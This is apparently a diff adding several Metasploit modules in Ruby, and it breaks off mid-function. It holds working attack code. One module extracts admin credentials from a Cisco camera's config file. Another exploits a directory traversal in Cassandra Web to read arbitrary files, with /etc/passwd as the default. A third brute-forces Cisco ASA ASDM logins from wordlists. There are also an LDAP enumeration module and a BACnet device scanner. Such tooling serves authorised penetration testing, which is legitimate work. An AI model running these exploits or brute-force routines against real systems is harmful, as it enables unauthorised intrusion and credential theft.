if config_file_decoded =~ /comment=.*? Video Camera/
|
||||
device_name = config_file_decoded.scan(/comment=(.*?)$/)&.flatten&.first&.strip
|
||||
unless device_name.blank?
|
||||
print_status("Obtained device name #{device_name}")
|
||||
end
|
||||
end
|
||||
|
||||
# try to grab the admin username and password from the config file
|
||||
admin_name = nil
|
||||
admin_password = nil
|
||||
if config_file_decoded.include?('admin_name')
|
||||
admin_name = config_file_decoded.scan(/admin_name=(.*?)$/)&.flatten&.first&.strip
|
||||
end
|
||||
|
||||
if config_file_decoded.include?('admin_password')
|
||||
admin_password = config_file_decoded.scan(/admin_password=(.*?)$/)&.flatten&.first&.strip
|
||||
end
|
||||
|
||||
if admin_name.blank? && admin_password.blank?
|
||||
print_error('Failed to obtain the admin credentials from the configuration file')
|
||||
else
|
||||
print_good('Obtained the following admin credentials for the web interface from the configuration file:')
|
||||
print_status("admin username: #{admin_name}")
|
||||
print_status("admin password: #{admin_password}")
|
||||
# save the creds to the db
|
||||
report_creds(admin_name, admin_password)
|
||||
end
|
||||
end
|
||||
|
||||
def report_creds(username, password)
|
||||
service_data = {
|
||||
address: datastore['RHOST'],
|
||||
port: datastore['RPORT'],
|
||||
service_name: 'http',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: fullname,
|
||||
origin_type: :service,
|
||||
private_data: password,
|
||||
private_type: :password,
|
||||
username: username
|
||||
}.merge(service_data)
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def check
|
||||
res1 = send_request_cgi('uri' => normalize_uri(target_uri.path))
|
||||
|
||||
unless res1
|
||||
return Exploit::CheckCode::Unknown('Target is unreachable.')
|
||||
end
|
||||
|
||||
# string togetether a few checks to make it more likely we're dealing with a Cisco camera
|
||||
unless res1.code == 401 && res1.headers.include?('WWW-Authenticate') && res1.headers['WWW-Authenticate'] == 'Basic realm="IP Camera"'
|
||||
return Exploit::CheckCode::Safe('Target is not a Cisco PVC2300 POE Video Camera')
|
||||
end
|
||||
|
||||
res2 = send_request_cgi('uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'))
|
||||
unless res2
|
||||
return Exploit::CheckCode::Unknown('Target is unreachable.')
|
||||
end
|
||||
|
||||
unless res2.code == 200 && res2.body =~ %r{<ActionStatus><statusCode>.*?</statusCode><statusString>.*?</statusString></ActionStatus>}
|
||||
return Exploit::CheckCode::Safe('Target is not a Cisco PVC2300 POE Video Camera')
|
||||
end
|
||||
|
||||
vprint_status('Target seems to be a Cisco camera')
|
||||
Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
def run
|
||||
session_id = request_session_id
|
||||
config_file = download_config_file(session_id)
|
||||
decode_config_file(config_file)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,333 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
require 'json'
|
||||
require 'yaml'
|
||||
|
||||
def initialize(info = {})
|
||||
actions, default_action = initialize_actions
|
||||
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'LDAP Query and Enumeration Module',
|
||||
'Description' => %q{
|
||||
This module allows users to query an LDAP server using either a custom LDAP query, or
|
||||
a set of LDAP queries under a specific category. Users can also specify a JSON or YAML
|
||||
file containing custom queries to be executed using the RUN_QUERY_FILE action.
|
||||
If this action is specified, then QUERY_FILE_PATH must be a path to the location
|
||||
of this JSON/YAML file on disk.
|
||||
|
||||
Users can also run a single query by using the RUN_SINGLE_QUERY option and then setting
|
||||
the QUERY_FILTER datastore option to the filter to send to the LDAP server and QUERY_ATTRIBUTES
|
||||
to a comma seperated string containing the list of attributes they are interested in obtaining
|
||||
from the results.
|
||||
|
||||
As a third option can run one of several predefined queries by setting ACTION to the
|
||||
appropriate value. These options will be loaded from the ldap_queries_default.yaml file
|
||||
located in the MSF configuration directory, located by default at ~/.msf4/ldap_queries_default.yaml.
|
||||
|
||||
All results will be returned to the user in table, CSV or JSON format, depending on the value
|
||||
of the OUTPUT_FORMAT datastore option. The characters || will be used as a delimiter
|
||||
should multiple items exist within a single column.
|
||||
},
|
||||
'Author' => [
|
||||
'Grant Willcox', # Original module author
|
||||
],
|
||||
'References' => [
|
||||
],
|
||||
'DisclosureDate' => '2022-05-19',
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => actions,
|
||||
'DefaultAction' => default_action,
|
||||
'DefaultOptions' => {
|
||||
'SSL' => false
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(389), # Set to 636 for SSL/TLS
|
||||
OptEnum.new('OUTPUT_FORMAT', [true, 'The output format to use', 'table', %w[csv table json]]),
|
||||
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
|
||||
OptPath.new('QUERY_FILE_PATH', [false, 'Path to the JSON or YAML file to load and run queries from'], conditions: %w[ACTION == RUN_QUERY_FILE]),
|
||||
OptString.new('QUERY_FILTER', [false, 'Filter to send to the target LDAP server to perform the query'], conditions: %w[ACTION == RUN_SINGLE_QUERY]),
|
||||
OptString.new('QUERY_ATTRIBUTES', [false, 'Comma seperated list of attributes to retrieve from the server'], conditions: %w[ACTION == RUN_SINGLE_QUERY])
|
||||
])
|
||||
end
|
||||
|
||||
def initialize_actions
|
||||
user_config_file_path = File.join(::Msf::Config.config_directory, 'ldap_queries.yaml')
|
||||
default_config_file_path = File.join(::Msf::Config.data_directory, 'auxiliary', 'gather', 'ldap_query', 'ldap_queries_default.yaml')
|
||||
|
||||
@loaded_queries = safe_load_queries(default_config_file_path) || []
|
||||
if File.exist?(user_config_file_path)
|
||||
@loaded_queries.concat(safe_load_queries(user_config_file_path) || [])
|
||||
else
|
||||
# If the user config file doesn't exist, then initialize it with a sample entry.
|
||||
# Users can adjust this file to overwrite default actions to retrieve different attributes etc by default.
|
||||
template = File.join(::Msf::Config.data_directory, 'auxiliary', 'gather', 'ldap_query', 'ldap_queries_template.yaml')
|
||||
FileUtils.cp(template, user_config_file_path) if File.exist?(template)
|
||||
end
|
||||
|
||||
# Combine the user settings with the default settings and then uniq them such that we only have one copy
|
||||
# of each ACTION, however we use the user's custom settings if they have tweaked anything to prevent overriding
|
||||
# their custom adjustments.
|
||||
@loaded_queries = @loaded_queries.map { |h| [h['action'], h] }.to_h
|
||||
@loaded_queries.select! do |_, entry|
|
||||
if entry['action'].blank?
|
||||
wlog('ldap query entry detected that was missing its action field')
|
||||
return false
|
||||
end
|
||||
|
||||
if %w[RUN_QUERY_FILE RUN_SINGLE_QUERY].include? entry['action']
|
||||
wlog("ldap query entry detected that was using a reserved action name: #{entry['action']}")
|
||||
return false
|
||||
end
|
||||
|
||||
if entry['filter'].blank?
|
||||
wlog('ldap query entry detected that was missing its filter field')
|
||||
return false
|
||||
end
|
||||
|
||||
unless entry['attributes'].is_a? Array
|
||||
wlog('ldap query entry detected that was missing its attributes field')
|
||||
return false
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
actions = []
|
||||
@loaded_queries.each_value do |entry|
|
||||
actions << [entry['action'], { 'Description' => entry['description'] || '' }]
|
||||
end
|
||||
actions << ['RUN_QUERY_FILE', { 'Description' => 'Execute a custom set of LDAP queries from the JSON or YAML file specified by QUERY_FILE.' }]
|
||||
actions << ['RUN_SINGLE_QUERY', { 'Description' => 'Execute a single LDAP query using the QUERY_FILTER and QUERY_ATTRIBUTES options.' }]
|
||||
actions.sort!
|
||||
|
||||
default_action = 'RUN_QUERY_FILE'
|
||||
unless @loaded_queries.empty? # Aka there is more than just RUN_QUERY_FILE and RUN_SINGLE_QUERY in the actions list...
|
||||
default_action = actions[0][0] # Get the first entry's action name and set this as the default action.
|
||||
end
|
||||
return actions, default_action
|
||||
end
|
||||
|
||||
def safe_load_queries(filename)
|
||||
begin
|
||||
settings = YAML.safe_load(File.binread(filename))
|
||||
rescue StandardError => e
|
||||
elog("Couldn't parse #{filename}", error: e)
|
||||
return
|
||||
end
|
||||
|
||||
return unless settings['queries'].is_a? Array
|
||||
|
||||
settings['queries']
|
||||
end
|
||||
|
||||
def perform_ldap_query(ldap, filter, attributes)
|
||||
returned_entries = ldap.search(base: @base_dn, filter: filter, attributes: attributes)
|
||||
query_result = ldap.as_json['result']['ldap_result']
|
||||
case query_result['resultCode']
|
||||
when 0
|
||||
vprint_good('Successfully queried LDAP server!')
|
||||
when 1
|
||||
print_error("Could not perform query #{filter}. Its likely the query requires authentication!")
|
||||
fail_with(Failure::NoAccess, query_result['errorMessage'])
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "Query #{filter} failed with error: #{query_result['errorMessage']}")
|
||||
end
|
||||
if returned_entries.nil? || returned_entries.empty?
|
||||
print_error("No results found for #{filter}.")
|
||||
nil
|
||||
else
|
||||
returned_entries
|
||||
end
|
||||
end
|
||||
|
||||
def generate_rex_tables(entries, format)
|
||||
entries.each do |entry|
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Header' => entry['dn'][0].split(',').join(' '),
|
||||
'Indent' => 1,
|
||||
'Columns' => %w[Name Attributes]
|
||||
)
|
||||
|
||||
entry.attribute_names.each do |attr|
|
||||
if format == 'table'
|
||||
tbl << [attr, entry[attr].join(' || ')] unless attr == :dn # Skip over DN entries for tables since DN information is shown in header.
|
||||
else
|
||||
tbl << [attr, entry[attr].join(' || ')] # DN information is not shown in CSV output as a header so keep DN entries in.
|
||||
end
|
||||
end
|
||||
|
||||
case format
|
||||
when 'table'
|
||||
print_status(tbl.to_s)
|
||||
when 'csv'
|
||||
print_status(tbl.to_csv)
|
||||
else
|
||||
fail_with(Failure::BadConfig, "Invalid format #{format} passed to generate_rex_tables!")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def output_json_data(entries)
|
||||
entries.each do |entry|
|
||||
result = ''
|
||||
data = {}
|
||||
entry.attribute_names.each do |attr|
|
||||
data[attr] = entry[attr].join(' || ')
|
||||
end
|
||||
result << JSON.pretty_generate(data) + ",\n"
|
||||
result.gsub!(/},\n$/, '}')
|
||||
print_status(entry['dn'][0].split(',').join(' '))
|
||||
print_line(result)
|
||||
end
|
||||
end
|
||||
|
||||
def output_data_table(entries)
|
||||
generate_rex_tables(entries, 'table')
|
||||
end
|
||||
|
||||
def output_data_csv(entries)
|
||||
generate_rex_tables(entries, 'csv')
|
||||
end
|
||||
|
||||
def show_output(entries)
|
||||
case datastore['OUTPUT_FORMAT']
|
||||
when 'csv'
|
||||
output_data_csv(entries)
|
||||
when 'table'
|
||||
output_data_table(entries)
|
||||
when 'json'
|
||||
output_json_data(entries)
|
||||
else
|
||||
fail_with(Failure::BadConfig, 'Supported OUTPUT_FORMAT values are csv, table and json')
|
||||
end
|
||||
end
|
||||
|
||||
def run_queries_from_file(ldap, queries)
|
||||
queries.each do |query|
|
||||
unless query['action'] && query['filter'] && query['attributes']
|
||||
fail_with(Failure::BadConfig, "Each query in the query file must at least contain a 'action', 'filter' and 'attributes' attribute!")
|
||||
end
|
||||
attributes = query['attributes']
|
||||
if attributes.nil? || attributes.empty?
|
||||
print_warning('At least one attribute needs to be specified per query in the query file for entries to work!')
|
||||
break
|
||||
end
|
||||
filter = Net::LDAP::Filter.construct(query['filter'])
|
||||
print_status("Running #{query['action']}...")
|
||||
entries = perform_ldap_query(ldap, filter, attributes)
|
||||
|
||||
if entries.nil?
|
||||
print_warning("Query #{query['filter']} from #{query['action']} didn't return any results!")
|
||||
next
|
||||
end
|
||||
|
||||
show_output(entries)
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
entries = nil
|
||||
begin
|
||||
ldap_connect do |ldap|
|
||||
bind_result = ldap.as_json['result']['ldap_result']
|
||||
|
||||
# Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes
|
||||
case bind_result['resultCode']
|
||||
when 0
|
||||
print_good('Successfully bound to the LDAP server!')
|
||||
when 1
|
||||
fail_with(Failure::NoAccess, "An operational error occurred, perhaps due to lack of authorization. The error was: #{bind_result['errorMessage']}")
|
||||
when 7
|
||||
fail_with(Failure::NoTarget, 'Target does not support the simple authentication mechanism!')
|
||||
when 8
|
||||
fail_with(Failure::NoTarget, "Server requires a stronger form of authentication than we can provide! The error was: #{bind_result['errorMessage']}")
|
||||
when 14
|
||||
fail_with(Failure::NoTarget, "Server requires additional information to complete the bind. Error was: #{bind_result['errorMessage']}")
|
||||
when 48
|
||||
fail_with(Failure::NoAccess, "Target doesn't support the requested authentication type we sent. Try binding to the same user without a password, or providing credentials if you were doing anonymous authentication.")
|
||||
when 49
|
||||
fail_with(Failure::NoAccess, 'Invalid credentials provided!')
|
||||
else
|
||||
fail_with(Failure::Unknown, "Unknown error occurred whilst binding: #{bind_result['errorMessage']}")
|
||||
end
|
||||
if (@base_dn = datastore['BASE_DN'])
|
||||
print_status("User-specified base DN: #{@base_dn}")
|
||||
else
|
||||
print_status('Discovering base DN automatically')
|
||||
|
||||
unless (@base_dn = discover_base_dn(ldap))
|
||||
print_warning("Couldn't discover base DN!")
|
||||
end
|
||||
end
|
||||
|
||||
case action.name
|
||||
when 'RUN_QUERY_FILE'
|
||||
unless datastore['QUERY_FILE_PATH']
|
||||
fail_with(Failure::BadConfig, 'When using the RUN_QUERY_FILE action, one must specify the path to the JASON/YAML file containing the queries via QUERY_FILE_PATH!')
|
||||
end
|
||||
print_status("Loading queries from #{datastore['QUERY_FILE_PATH']}...")
|
||||
|
||||
parsed_queries = safe_load_queries(datastore['QUERY_FILE_PATH']) || []
|
||||
if parsed_queries.empty?
|
||||
fail_with(Failure::BadConfig, "No queries loaded from #{datastore['QUERY_FILE_PATH']}!")
|
||||
end
|
||||
|
||||
run_queries_from_file(ldap, parsed_queries)
|
||||
return
|
||||
when 'RUN_SINGLE_QUERY'
|
||||
unless datastore['QUERY_FILTER'] && datastore['QUERY_ATTRIBUTES']
|
||||
fail_with(Failure::BadConfig, 'When using the RUN_SINGLE_QUERY action, one must supply the QUERY_FILTER and QUERY_ATTRIBUTE datastore options!')
|
||||
end
|
||||
|
||||
begin
|
||||
filter = Net::LDAP::Filter.construct(datastore['QUERY_FILTER'])
|
||||
rescue StandardError => e
|
||||
fail_with(Failure::BadConfig, "Could not compile the filter #{datastore['QUERY_FILTER']}. Error was #{e}")
|
||||
end
|
||||
|
||||
print_status("Sending single query #{datastore['QUERY_FILTER']} to the LDAP server...")
|
||||
attributes = datastore['QUERY_ATTRIBUTES'].split(',')
|
||||
if attributes.empty?
|
||||
fail_with(Failure::BadConfig, 'Attributes list is empty as we could not find at least one attribute to filter on!')
|
||||
end
|
||||
entries = perform_ldap_query(ldap, filter, attributes)
|
||||
print_error("No entries could be found for #{datastore['QUERY_FILTER']}!") if entries.nil? || entries.empty?
|
||||
else
|
||||
query = @loaded_queries[datastore['ACTION']].nil? ? @loaded_queries[default_action] : @loaded_queries[datastore['ACTION']]
|
||||
fail_with(Failure::BadConfig, "Invalid action: #{datastore['ACTION']}") unless query
|
||||
|
||||
begin
|
||||
filter = Net::LDAP::Filter.construct(query['filter'])
|
||||
rescue StandardError => e
|
||||
fail_with(Failure::BadConfig, "Could not compile the filter #{query['filter']}. Error was #{e}")
|
||||
end
|
||||
|
||||
entries = perform_ldap_query(ldap, filter, query['attributes'])
|
||||
end
|
||||
end
|
||||
rescue Rex::ConnectionTimeout
|
||||
fail_with(Failure::Unreachable, "Couldn't reach #{datastore['RHOST']}!")
|
||||
rescue Net::LDAP::Error => e
|
||||
fail_with(Failure::UnexpectedReply, "Could not query #{datastore['RHOST']}! Error was: #{e.message}")
|
||||
end
|
||||
return if entries.nil? || entries.empty?
|
||||
|
||||
show_output(entries)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,96 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Cassandra Web File Read Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits an unauthenticated directory traversal vulnerability in Cassandra Web
|
||||
'Cassandra Web' version 0.5.0 and earlier, allowing arbitrary file read with the web server privileges.
|
||||
This vulnerability occured due to the disabled Rack::Protection module
|
||||
},
|
||||
'References' => [
|
||||
['URL', 'https://github.com/avalanche123/cassandra-web/commit/f11e47a26f316827f631d7bcfec14b9dd94f44be'],
|
||||
['EDB', '49362']
|
||||
],
|
||||
'Author' => [
|
||||
'Jeremy Brown', # Vulnerability discovery
|
||||
'krastanoel' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
|
||||
OptInt.new('DEPTH', [true, 'Traversal Depth (to reach the root folder)', 8]),
|
||||
OptInt.new('RPORT', [true, 'The Cassandra Web port (default: 3000)', 3000])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check_host(_ip)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/')
|
||||
})
|
||||
|
||||
return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?
|
||||
return Exploit::CheckCode::Safe('Target is not a Cassandra Web server') if res.code != 200
|
||||
|
||||
if res.headers['server'] == 'thin' && res.body.include?('Cassandra Web') && res.body.include?('/js/cassandra.js')
|
||||
return Exploit::CheckCode::Appears('Cassandra Web Detected')
|
||||
else
|
||||
return Exploit::CheckCode::Safe('Target is not a Cassandra Web server')
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
return Exploit::CheckCode::Unknown('Could not connect to the web service')
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
traversal = '../' * datastore['DEPTH']
|
||||
filename = datastore['FILEPATH']
|
||||
filename = filename[1, filename.length] if filename =~ %r{^/}
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/' "#{traversal}#{filename}")
|
||||
})
|
||||
|
||||
fail_with(Failure::Unreachable, 'Connection failed') unless res
|
||||
fail_with(Failure::NotVulnerable, 'Connection failed. Nothing was downloaded') if res.code != 200
|
||||
fail_with(Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter') if res.body.include?('/js/cassandra.js')
|
||||
|
||||
print_status('Downloading file...')
|
||||
print_line("\n#{res.body}\n")
|
||||
|
||||
fname = datastore['FILEPATH']
|
||||
|
||||
path = store_loot(
|
||||
'cassandra.web.traversal',
|
||||
'text/plain',
|
||||
ip,
|
||||
res.body,
|
||||
fname
|
||||
)
|
||||
print_good("File saved in: #{path}")
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,119 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Cisco ASA ASDM Brute-force Login',
|
||||
'Description' => %q{
|
||||
This module scans for the Cisco ASA ASDM landing page and performs login brute-force
|
||||
to identify valid credentials.
|
||||
},
|
||||
'Author' => [
|
||||
'jbaines-r7'
|
||||
],
|
||||
'References' => [
|
||||
[ 'URL', 'https://www.cisco.com/c/en/us/products/security/adaptive-security-device-manager/index.html' ]
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 443,
|
||||
'SSL' => true,
|
||||
'BLANK_PASSWORDS' => true
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPath.new('USERPASS_FILE', [
|
||||
false, 'File containing users and passwords separated by space, one pair per line',
|
||||
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_userpass.txt')
|
||||
]),
|
||||
OptPath.new('USER_FILE', [
|
||||
false, 'File containing users, one per line',
|
||||
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_users.txt')
|
||||
]),
|
||||
OptPath.new('PASS_FILE', [
|
||||
false, 'File containing passwords, one per line',
|
||||
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt')
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(_ip)
|
||||
# Establish the remote host is running Cisco ASDM
|
||||
res = send_request_cgi('uri' => normalize_uri('/admin/public/index.html'))
|
||||
return unless res && res.code == 200 && res.body.include?('<title>Cisco ASDM ')
|
||||
|
||||
print_status('The remote target appears to host Cisco ASA ASDM. The module will continue.')
|
||||
print_status('Starting login brute force...')
|
||||
|
||||
each_user_pass do |user, pass|
|
||||
do_login(user, pass)
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: 'Cisco ASA ASDM',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
# Brute-force the login page
|
||||
def do_login(user, pass)
|
||||
vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri('/admin/version.prop'),
|
||||
'agent' => 'ASDM/ Java/1.8.0_333',
|
||||
'authorization' => basic_auth(user, pass)
|
||||
})
|
||||
|
||||
# check if the user was forwarded to the version.prop file
|
||||
if res && res.code == 200 && res.body.include?('asdm.version=') && res.body.include?('launcher.version=')
|
||||
|
||||
print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
|
||||
|
||||
return :next_user
|
||||
else
|
||||
vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -63,7 +63,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# - The occurence of any form (web.form :path, :type (get|post|path_info), :params)
|
||||
#
|
||||
def crawler_process_page(t, page, cnt)
|
||||
msg = "[#{"%.5d" % cnt}/#{"%.5d" % max_page_count}] #{page.code || "ERR"} - #{t[:vhost]} - #{page.url}"
|
||||
return if page.nil? # Skip over pages that don't contain any info aka page is nil. We can't process these types of pages since there is no data to process.
|
||||
msg = "[#{"%.5d" % cnt}/#{"%.5d" % max_page_count}] #{page ? page.code || "ERR" : "ERR"} - #{t[:vhost]} - #{page.url}"
|
||||
if page.error
|
||||
print_error("Error accessing page #{page.error.to_s}")
|
||||
elog(page.error)
|
||||
|
||||
@@ -0,0 +1,417 @@
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Capture
|
||||
include Rex::Socket::Udp
|
||||
|
||||
FILE_NAME = 'bacnet-discovery'.freeze
|
||||
DEFAULT_SERVER_TIMEOUT = 1
|
||||
DEFAULT_SEND_COUNT = 1
|
||||
DEFAULT_SLEEP = 1
|
||||
|
||||
BACNET_ASHARE_STANDARD = "\x01".freeze
|
||||
BACNETIP_CONSTANT = "\x81".freeze
|
||||
BACNET_LLC = "\x82\x82\x03".freeze
|
||||
BACNET_BVLC = "\x81\x0b\x00\x0c".freeze
|
||||
BACNET_BVLC_LEN = BACNET_BVLC.length
|
||||
|
||||
BACNET_WHOIS_APDU_NPDU = "\x01\x20\xff\xff\x00\xff\x10\x08".freeze
|
||||
|
||||
# Building Automation and Control Network APDU
|
||||
# 0001 .... = APDU Type: Unconfirmed-REQ (1)
|
||||
# Unconfirmed Service Choice: i-Am (0)
|
||||
# ObjectIdentifier: device
|
||||
BACNET_UNCOFIRMED_REQ_I_AM_OBJ_DEVICE_PREFIX = "\x10\x00\xc4\x02".freeze
|
||||
DEFAULT_BACNET_PORT = 47808
|
||||
DISCOVERY_MESSAGE_L3 = BACNET_BVLC + BACNET_WHOIS_APDU_NPDU
|
||||
DISCOVERY_MESSAGE_L2 = BACNET_LLC + BACNET_WHOIS_APDU_NPDU
|
||||
DISCOVERY_MESSAGE_L2_LEN = Array[DISCOVERY_MESSAGE_L2.length].pack('n')
|
||||
|
||||
READ_MULTIPLE_DEVICES_PROP = "\x1e\x09\x08\x1f".freeze
|
||||
READ_MODEL_NAME_PROP = "\x19\x46".freeze
|
||||
READ_FIRMWARE_VERSION_PROP = "\x19\x2c".freeze
|
||||
READ_APP_SOFT_VERSION_PROP = "\x19\x0c".freeze
|
||||
READ_DESCRIPTION_PROP = "\x19\x1c".freeze
|
||||
|
||||
GET_PROPERTY_MESSAGES_L3_SIMPLE = [
|
||||
"\x81\n\u0000\u0011\u0001\u0004\u0002\u0002\u0000\f\f\u0002{object_identifier}#{READ_MODEL_NAME_PROP}", # model-name
|
||||
"\x81\n\u0000\u0011\u0001\u0004\u0002\u0002\u0000\f\f\u0002{object_identifier}#{READ_FIRMWARE_VERSION_PROP}", # firmware-revision
|
||||
"\x81\n\u0000\u0011\u0001\u0004\u0002\u0002\u0000\f\f\u0002{object_identifier}#{READ_APP_SOFT_VERSION_PROP}", # application-software-version
|
||||
"\x81\n\u0000\u0011\u0001\u0004\u0002\u0002\u0000\f\f\u0002{object_identifier}#{READ_DESCRIPTION_PROP}"
|
||||
].freeze # description
|
||||
|
||||
GET_PROPERTY_MESSAGES_L3_NESTED = [
|
||||
"\u0001${dest_net_id}{dadr_len}{dadr}\xFF\u0002\u0002\u0002\f\f\u0002{object_identifier}#{READ_MODEL_NAME_PROP}",
|
||||
"\u0001${dest_net_id}{dadr_len}{dadr}\xFF\u0002\u0002\u0002\f\f\u0002{object_identifier}#{READ_FIRMWARE_VERSION_PROP}",
|
||||
"\u0001${dest_net_id}{dadr_len}{dadr}\xFF\u0002\u0002\u0002\f\f\u0002{object_identifier}#{READ_APP_SOFT_VERSION_PROP}",
|
||||
"\u0001${dest_net_id}{dadr_len}{dadr}\xFF\u0002\u0002\u0002\f\f\u0002{object_identifier}#{READ_DESCRIPTION_PROP}"
|
||||
].freeze
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'BACnet Scanner',
|
||||
'Description' => '
|
||||
Discover BACnet devices by broadcasting Who-is message, then poll
|
||||
discovered devices for properties including model name,
|
||||
software version, firmware revision and description.
|
||||
',
|
||||
'Author' => ['Paz @ SCADAfence'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [UNRELIABLE_SESSION],
|
||||
'SideEffects' => [SCREEN_EFFECTS]
|
||||
}
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('TIMEOUT', [true, 'The socket connect timeout in seconds', DEFAULT_SERVER_TIMEOUT]),
|
||||
OptInt.new('COUNT', [true, 'The number of times to send each packet', DEFAULT_SEND_COUNT]),
|
||||
OptPort.new('PORT', [true, 'BACnet/IP UDP port to scan (usually between 47808-47817)', DEFAULT_BACNET_PORT]),
|
||||
OptString.new('INTERFACE', [true, 'The interface to scan from', 'eth1'])
|
||||
], self.class
|
||||
)
|
||||
deregister_options('RHOSTS', 'FILTER', 'PCAPFILE', 'LHOST')
|
||||
end
|
||||
|
||||
def hex_to_bin(str)
|
||||
str.scan(/../).map { |x| x.hex.chr }.join
|
||||
end
|
||||
|
||||
def bin_to_hex(str)
|
||||
str.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
|
||||
end
|
||||
|
||||
# Check if device is nested and extract relevant data
|
||||
def parse_npdu(data)
|
||||
is_nested = false
|
||||
if data.start_with? BACNET_ASHARE_STANDARD
|
||||
control = data[1].unpack1('C*')
|
||||
src_specifier = control & (1 << 3) != 0 # check if 4th bit is set
|
||||
dst_specifier = control & (1 << 5) != 0 # check if 6th bit is set
|
